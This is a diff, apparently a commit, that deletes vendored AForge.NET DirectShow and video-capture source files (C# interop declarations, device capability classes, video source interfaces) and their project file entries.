[ComVisible( false )]
|
||||
static internal class FindDirection
|
||||
{
|
||||
/// <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>
|
||||
public static readonly Guid UpstreamOnly =
|
||||
new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||
|
||||
/// <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>
|
||||
public static readonly Guid DownstreamOnly =
|
||||
new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||
}
|
||||
}
|
@ -1,102 +0,0 @@
|
||||
// AForge Video for Windows Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2007-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
/// <summary>
|
||||
/// Some Win32 API used internally.
|
||||
/// </summary>
|
||||
///
|
||||
internal static class Win32
|
||||
{
|
||||
/// <summary>
|
||||
/// Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).
|
||||
/// This object stores information about a particular moniker-binding operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="reserved">Reserved for future use; must be zero.</param>
|
||||
/// <param name="ppbc">Address of <b>IBindCtx*</b> pointer variable that receives the
|
||||
/// interface pointer to the new bind context object.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport( "ole32.dll" )]
|
||||
public static extern
|
||||
int CreateBindCtx( int reserved, out IBindCtx ppbc );
|
||||
|
||||
/// <summary>
|
||||
/// Converts a string into a moniker that identifies the object named by the string.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pbc">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>
|
||||
/// <param name="szUserName">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>
|
||||
/// <param name="pchEaten">Pointer to the number of characters of szUserName that were consumed.</param>
|
||||
/// <param name="ppmk">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer
|
||||
/// to the moniker that was built from <b>szUserName</b>.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport( "ole32.dll", CharSet = CharSet.Unicode )]
|
||||
public static extern
|
||||
int MkParseDisplayName( IBindCtx pbc, string szUserName,
|
||||
ref int pchEaten, out IMoniker ppmk );
|
||||
|
||||
/// <summary>
|
||||
/// Copy a block of memory.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="dst">Destination pointer.</param>
|
||||
/// <param name="src">Source pointer.</param>
|
||||
/// <param name="count">Memory block's length to copy.</param>
|
||||
///
|
||||
/// <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>
|
||||
///
|
||||
[DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )]
|
||||
public static unsafe extern int memcpy(
|
||||
byte* dst,
|
||||
byte* src,
|
||||
int count );
|
||||
|
||||
/// <summary>
|
||||
/// Invokes a new property frame, that is, a property sheet dialog box.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hwndOwner">Parent window of property sheet dialog box.</param>
|
||||
/// <param name="x">Horizontal position for dialog box.</param>
|
||||
/// <param name="y">Vertical position for dialog box.</param>
|
||||
/// <param name="caption">Dialog box caption.</param>
|
||||
/// <param name="cObjects">Number of object pointers in <b>ppUnk</b>.</param>
|
||||
/// <param name="ppUnk">Pointer to the objects for property sheet.</param>
|
||||
/// <param name="cPages">Number of property pages in <b>lpPageClsID</b>.</param>
|
||||
/// <param name="lpPageClsID">Array of CLSIDs for each property page.</param>
|
||||
/// <param name="lcid">Locale identifier for property sheet locale.</param>
|
||||
/// <param name="dwReserved">Reserved.</param>
|
||||
/// <param name="lpvReserved">Reserved.</param>
|
||||
///
|
||||
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||
///
|
||||
[DllImport( "oleaut32.dll" )]
|
||||
public static extern int OleCreatePropertyFrame(
|
||||
IntPtr hwndOwner,
|
||||
int x,
|
||||
int y,
|
||||
[MarshalAs( UnmanagedType.LPWStr )] string caption,
|
||||
int cObjects,
|
||||
[MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )]
|
||||
ref object ppUnk,
|
||||
int cPages,
|
||||
IntPtr lpPageClsID,
|
||||
int lcid,
|
||||
int dwReserved,
|
||||
IntPtr lpvReserved );
|
||||
}
|
||||
}
|
@ -1,123 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the physical type of pin (audio or video).
|
||||
/// </summary>
|
||||
public enum PhysicalConnectorType
|
||||
{
|
||||
/// <summary>
|
||||
/// Default value of connection type. Physically it does not exist, but just either to specify that
|
||||
/// connection type should not be changed (input) or was not determined (output).
|
||||
/// </summary>
|
||||
Default = 0,
|
||||
/// <summary>
|
||||
/// Specifies a tuner pin for video.
|
||||
/// </summary>
|
||||
VideoTuner = 1,
|
||||
/// <summary>
|
||||
/// Specifies a composite pin for video.
|
||||
/// </summary>
|
||||
VideoComposite,
|
||||
/// <summary>
|
||||
/// Specifies an S-Video (Y/C video) pin.
|
||||
/// </summary>
|
||||
VideoSVideo,
|
||||
/// <summary>
|
||||
/// Specifies an RGB pin for video.
|
||||
/// </summary>
|
||||
VideoRGB,
|
||||
/// <summary>
|
||||
/// Specifies a YRYBY (Y, R–Y, B–Y) pin for video.
|
||||
/// </summary>
|
||||
VideoYRYBY,
|
||||
/// <summary>
|
||||
/// Specifies a serial digital pin for video.
|
||||
/// </summary>
|
||||
VideoSerialDigital,
|
||||
/// <summary>
|
||||
/// Specifies a parallel digital pin for video.
|
||||
/// </summary>
|
||||
VideoParallelDigital,
|
||||
/// <summary>
|
||||
/// Specifies a SCSI (Small Computer System Interface) pin for video.
|
||||
/// </summary>
|
||||
VideoSCSI,
|
||||
/// <summary>
|
||||
/// Specifies an AUX (auxiliary) pin for video.
|
||||
/// </summary>
|
||||
VideoAUX,
|
||||
/// <summary>
|
||||
/// Specifies an IEEE 1394 pin for video.
|
||||
/// </summary>
|
||||
Video1394,
|
||||
/// <summary>
|
||||
/// Specifies a USB (Universal Serial Bus) pin for video.
|
||||
/// </summary>
|
||||
VideoUSB,
|
||||
/// <summary>
|
||||
/// Specifies a video decoder pin.
|
||||
/// </summary>
|
||||
VideoDecoder,
|
||||
/// <summary>
|
||||
/// Specifies a video encoder pin.
|
||||
/// </summary>
|
||||
VideoEncoder,
|
||||
/// <summary>
|
||||
/// Specifies a SCART (Peritel) pin for video.
|
||||
/// </summary>
|
||||
VideoSCART,
|
||||
/// <summary>
|
||||
/// Not used.
|
||||
/// </summary>
|
||||
VideoBlack,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a tuner pin for audio.
|
||||
/// </summary>
|
||||
AudioTuner = 4096,
|
||||
/// <summary>
|
||||
/// Specifies a line pin for audio.
|
||||
/// </summary>
|
||||
AudioLine,
|
||||
/// <summary>
|
||||
/// Specifies a microphone pin.
|
||||
/// </summary>
|
||||
AudioMic,
|
||||
/// <summary>
|
||||
/// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
|
||||
/// </summary>
|
||||
AudioAESDigital,
|
||||
/// <summary>
|
||||
/// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
|
||||
/// </summary>
|
||||
AudioSPDIFDigital,
|
||||
/// <summary>
|
||||
/// Specifies a SCSI pin for audio.
|
||||
/// </summary>
|
||||
AudioSCSI,
|
||||
/// <summary>
|
||||
/// Specifies an AUX pin for audio.
|
||||
/// </summary>
|
||||
AudioAUX,
|
||||
/// <summary>
|
||||
/// Specifies an IEEE 1394 pin for audio.
|
||||
/// </summary>
|
||||
Audio1394,
|
||||
/// <summary>
|
||||
/// Specifies a USB pin for audio.
|
||||
/// </summary>
|
||||
AudioUSB,
|
||||
/// <summary>
|
||||
/// Specifies an audio decoder pin.
|
||||
/// </summary>
|
||||
AudioDecoder
|
||||
}
|
||||
}
|
@ -1,55 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow filter categories.
|
||||
/// </summary>
|
||||
[ComVisible( false )]
|
||||
public static class FilterCategory
|
||||
{
|
||||
/// <summary>
|
||||
/// Audio input device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid AudioInputDevice =
|
||||
new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Video input device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInputDevice =
|
||||
new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Video compressor category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoCompressorCategory =
|
||||
new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Audio compressor category
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid AudioCompressorCategory =
|
||||
new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
}
|
||||
}
|
@ -1,245 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
/// <summary>
|
||||
/// Capabilities of video device such as frame size and frame rate.
|
||||
/// </summary>
|
||||
public class VideoCapabilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Frame size supported by video device.
|
||||
/// </summary>
|
||||
public readonly Size FrameSize;
|
||||
|
||||
/// <summary>
|
||||
/// Frame rate supported by video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para><note>This field is depricated - should not be used.
|
||||
/// Its value equals to <see cref="AverageFrameRate"/>.</note></para>
|
||||
/// </remarks>
|
||||
///
|
||||
[Obsolete( "No longer supported. Use AverageFrameRate instead." )]
|
||||
public int FrameRate
|
||||
{
|
||||
get { return AverageFrameRate; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Average frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
public readonly int AverageFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
public readonly int MaximumFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Number of bits per pixel provided by the camera.
|
||||
/// </summary>
|
||||
public readonly int BitCount;
|
||||
|
||||
internal VideoCapabilities( ) { }
|
||||
|
||||
// Retrieve capabilities of a video device
|
||||
static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig )
|
||||
{
|
||||
if ( videoStreamConfig == null )
|
||||
throw new ArgumentNullException( "videoStreamConfig" );
|
||||
|
||||
// ensure this device reports capabilities
|
||||
int count, size;
|
||||
int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size );
|
||||
|
||||
if ( hr != 0 )
|
||||
Marshal.ThrowExceptionForHR( hr );
|
||||
|
||||
if ( count <= 0 )
|
||||
throw new NotSupportedException( "This video device does not report capabilities." );
|
||||
|
||||
if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) )
|
||||
throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." );
|
||||
|
||||
// group capabilities with similar parameters
|
||||
Dictionary<uint, VideoCapabilities> videocapsList = new Dictionary<uint, VideoCapabilities>( );
|
||||
|
||||
for ( int i = 0; i < count; i++ )
|
||||
{
|
||||
try
|
||||
{
|
||||
VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i );
|
||||
|
||||
uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) |
|
||||
( ( (uint) vc.FrameSize.Width ) << 16 );
|
||||
|
||||
if ( !videocapsList.ContainsKey( key ) )
|
||||
{
|
||||
videocapsList.Add( key, vc );
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( vc.BitCount > videocapsList[key].BitCount )
|
||||
{
|
||||
videocapsList[key] = vc;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count];
|
||||
videocapsList.Values.CopyTo( videocaps, 0 );
|
||||
|
||||
return videocaps;
|
||||
}
|
||||
|
||||
// Retrieve capabilities of a video device
|
||||
internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index )
|
||||
{
|
||||
AMMediaType mediaType = null;
|
||||
VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
|
||||
|
||||
try
|
||||
{
|
||||
// retrieve capabilities struct at the specified index
|
||||
int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps );
|
||||
|
||||
if ( hr != 0 )
|
||||
Marshal.ThrowExceptionForHR( hr );
|
||||
|
||||
if ( mediaType.FormatType == FormatType.VideoInfo )
|
||||
{
|
||||
VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
|
||||
|
||||
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
|
||||
BitCount = videoInfo.BmiHeader.BitCount;
|
||||
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
|
||||
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
|
||||
}
|
||||
else if ( mediaType.FormatType == FormatType.VideoInfo2 )
|
||||
{
|
||||
VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) );
|
||||
|
||||
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
|
||||
BitCount = videoInfo.BmiHeader.BitCount;
|
||||
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
|
||||
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new ApplicationException( "Unsupported format found." );
|
||||
}
|
||||
|
||||
// ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
|
||||
// TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
|
||||
// on such formats
|
||||
if ( BitCount <= 12 )
|
||||
{
|
||||
throw new ApplicationException( "Unsupported format found." );
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if ( mediaType != null )
|
||||
mediaType.Dispose( );
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if the video capability equals to the specified object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="obj">Object to compare with.</param>
|
||||
///
|
||||
/// <returns>Returns true if both are equal are equal or false otherwise.</returns>
|
||||
///
|
||||
public override bool Equals( object obj )
|
||||
{
|
||||
return Equals( obj as VideoCapabilities );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if two video capabilities are equal.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="vc2">Second video capability to compare with.</param>
|
||||
///
|
||||
/// <returns>Returns true if both video capabilities are equal or false otherwise.</returns>
|
||||
///
|
||||
public bool Equals( VideoCapabilities vc2 )
|
||||
{
|
||||
if ( (object) vc2 == null )
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get hash code of the object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Returns hash code ot the object </returns>
|
||||
public override int GetHashCode( )
|
||||
{
|
||||
return FrameSize.GetHashCode( ) ^ BitCount;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Equality operator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="a">First object to check.</param>
|
||||
/// <param name="b">Seconds object to check.</param>
|
||||
///
|
||||
/// <returns>Return true if both objects are equal or false otherwise.</returns>
|
||||
public static bool operator ==( VideoCapabilities a, VideoCapabilities b )
|
||||
{
|
||||
// if both are null, or both are same instance, return true.
|
||||
if ( object.ReferenceEquals( a, b ) )
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
// if one is null, but not both, return false.
|
||||
if ( ( (object) a == null ) || ( (object) b == null ) )
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return a.Equals( b );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Inequality operator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="a">First object to check.</param>
|
||||
/// <param name="b">Seconds object to check.</param>
|
||||
///
|
||||
/// <returns>Return true if both objects are not equal or false otherwise.</returns>
|
||||
public static bool operator !=( VideoCapabilities a, VideoCapabilities b )
|
||||
{
|
||||
return !( a == b );
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,47 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// Video input of a capture board.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>The class is used to describe video input of devices like video capture boards,
|
||||
/// which usually provide several inputs.</para>
|
||||
/// </remarks>
|
||||
///
|
||||
public class VideoInput
|
||||
{
|
||||
/// <summary>
|
||||
/// Index of the video input.
|
||||
/// </summary>
|
||||
public readonly int Index;
|
||||
|
||||
/// <summary>
|
||||
/// Type of the video input.
|
||||
/// </summary>
|
||||
public readonly PhysicalConnectorType Type;
|
||||
|
||||
internal VideoInput( int index, PhysicalConnectorType type )
|
||||
{
|
||||
Index = index;
|
||||
Type = type;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Default video input. Used to specify that it should not be changed.
|
||||
/// </summary>
|
||||
public static VideoInput Default
|
||||
{
|
||||
get { return new VideoInput( -1, PhysicalConnectorType.Default ); }
|
||||
}
|
||||
}
|
||||
}
|
@ -1,126 +0,0 @@
|
||||
// AForge Video Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2005-2009
|
||||
// andrew.kirillov@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// Video source interface.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>The interface describes common methods for different type of video sources.</remarks>
|
||||
///
|
||||
public interface IVideoSource
|
||||
{
|
||||
/// <summary>
|
||||
/// New frame event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>This event is used to notify clients about new available video frame.</para>
|
||||
///
|
||||
/// <para><note>Since video source may have multiple clients, each client is responsible for
|
||||
/// making a copy (cloning) of the passed video frame, but video source is responsible for
|
||||
/// disposing its own original copy after notifying of clients.</note></para>
|
||||
/// </remarks>
|
||||
///
|
||||
event NewFrameEventHandler NewFrame;
|
||||
|
||||
/// <summary>
|
||||
/// Video source error event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>This event is used to notify clients about any type of errors occurred in
|
||||
/// video source object, for example internal exceptions.</remarks>
|
||||
///
|
||||
event VideoSourceErrorEventHandler VideoSourceError;
|
||||
|
||||
/// <summary>
|
||||
/// Video playing finished event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>This event is used to notify clients that the video playing has finished.</para>
|
||||
/// </remarks>
|
||||
///
|
||||
event PlayingFinishedEventHandler PlayingFinished;
|
||||
|
||||
/// <summary>
|
||||
/// Video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>The meaning of the property depends on particular video source.
|
||||
/// Depending on video source it may be a file name, URL or any other string
|
||||
/// describing the video source.</remarks>
|
||||
///
|
||||
string Source { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Received frames count.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Number of frames the video source provided from the moment of the last
|
||||
/// access to the property.
|
||||
/// </remarks>
|
||||
///
|
||||
int FramesReceived { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Received bytes count.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Number of bytes the video source provided from the moment of the last
|
||||
/// access to the property.
|
||||
/// </remarks>
|
||||
///
|
||||
long BytesReceived { get; }
|
||||
|
||||
/// <summary>
|
||||
/// State of the video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Current state of video source object - running or not.</remarks>
|
||||
///
|
||||
bool IsRunning { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Start video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Starts video source and return execution to caller. Video source
|
||||
/// object creates background thread and notifies about new frames with the
|
||||
/// help of <see cref="NewFrame"/> event.</remarks>
|
||||
///
|
||||
void Start( );
|
||||
|
||||
/// <summary>
|
||||
/// Signal video source to stop its work.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Signals video source to stop its background thread, stop to
|
||||
/// provide new frames and free resources.</remarks>
|
||||
///
|
||||
void SignalToStop( );
|
||||
|
||||
/// <summary>
|
||||
/// Wait for video source has stopped.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Waits for video source stopping after it was signalled to stop using
|
||||
/// <see cref="SignalToStop"/> method.</remarks>
|
||||
///
|
||||
void WaitForStop( );
|
||||
|
||||
/// <summary>
|
||||
/// Stop video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Stops video source aborting its thread.</remarks>
|
||||
///
|
||||
void Stop( );
|
||||
}
|
||||
}
|
@ -1,125 +0,0 @@
|
||||
// AForge Video Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for new frame event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="eventArgs">Event arguments.</param>
|
||||
///
|
||||
public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs );
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for video source error event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="eventArgs">Event arguments.</param>
|
||||
///
|
||||
public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs );
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for playing finished event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="reason">Reason of finishing video playing.</param>
|
||||
///
|
||||
public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason );
|
||||
|
||||
/// <summary>
|
||||
/// Reason of finishing video playing.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>When video source class fire the <see cref="IVideoSource.PlayingFinished"/> event, they
|
||||
/// need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>
|
||||
///
|
||||
public enum ReasonToFinishPlaying
|
||||
{
|
||||
/// <summary>
|
||||
/// Video playing has finished because it end was reached.
|
||||
/// </summary>
|
||||
EndOfStreamReached,
|
||||
/// <summary>
|
||||
/// Video playing has finished because it was stopped by user.
|
||||
/// </summary>
|
||||
StoppedByUser,
|
||||
/// <summary>
|
||||
/// Video playing has finished because the device was lost (unplugged).
|
||||
/// </summary>
|
||||
DeviceLost,
|
||||
/// <summary>
|
||||
/// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
|
||||
/// A error reporting event usually is fired to provide error information.
|
||||
/// </summary>
|
||||
VideoSourceError
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Arguments for new frame event from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public class NewFrameEventArgs : EventArgs
|
||||
{
|
||||
private System.Drawing.Bitmap frame;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="NewFrameEventArgs"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="frame">New frame.</param>
|
||||
///
|
||||
public NewFrameEventArgs( System.Drawing.Bitmap frame )
|
||||
{
|
||||
this.frame = frame;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// New frame from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public System.Drawing.Bitmap Frame
|
||||
{
|
||||
get { return frame; }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Arguments for video source error event from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public class VideoSourceErrorEventArgs : EventArgs
|
||||
{
|
||||
private string description;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="VideoSourceErrorEventArgs"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="description">Error description.</param>
|
||||
///
|
||||
public VideoSourceErrorEventArgs( string description )
|
||||
{
|
||||
this.description = description;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Video source error description.
|
||||
/// </summary>
|
||||
///
|
||||
public string Description
|
||||
{
|
||||
get { return description; }
|
||||
}
|
||||
}
|
||||
}
|
@ -72,70 +72,28 @@
|
||||
<Reference Include="System.XML" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AForge\Video.DirectShow\CameraControlProperty.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\FilterInfo.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\FilterInfoCollection.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IEnumPins.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IMediaControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IPin.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Structures.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Uuids.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Win32.cs" />
|
||||
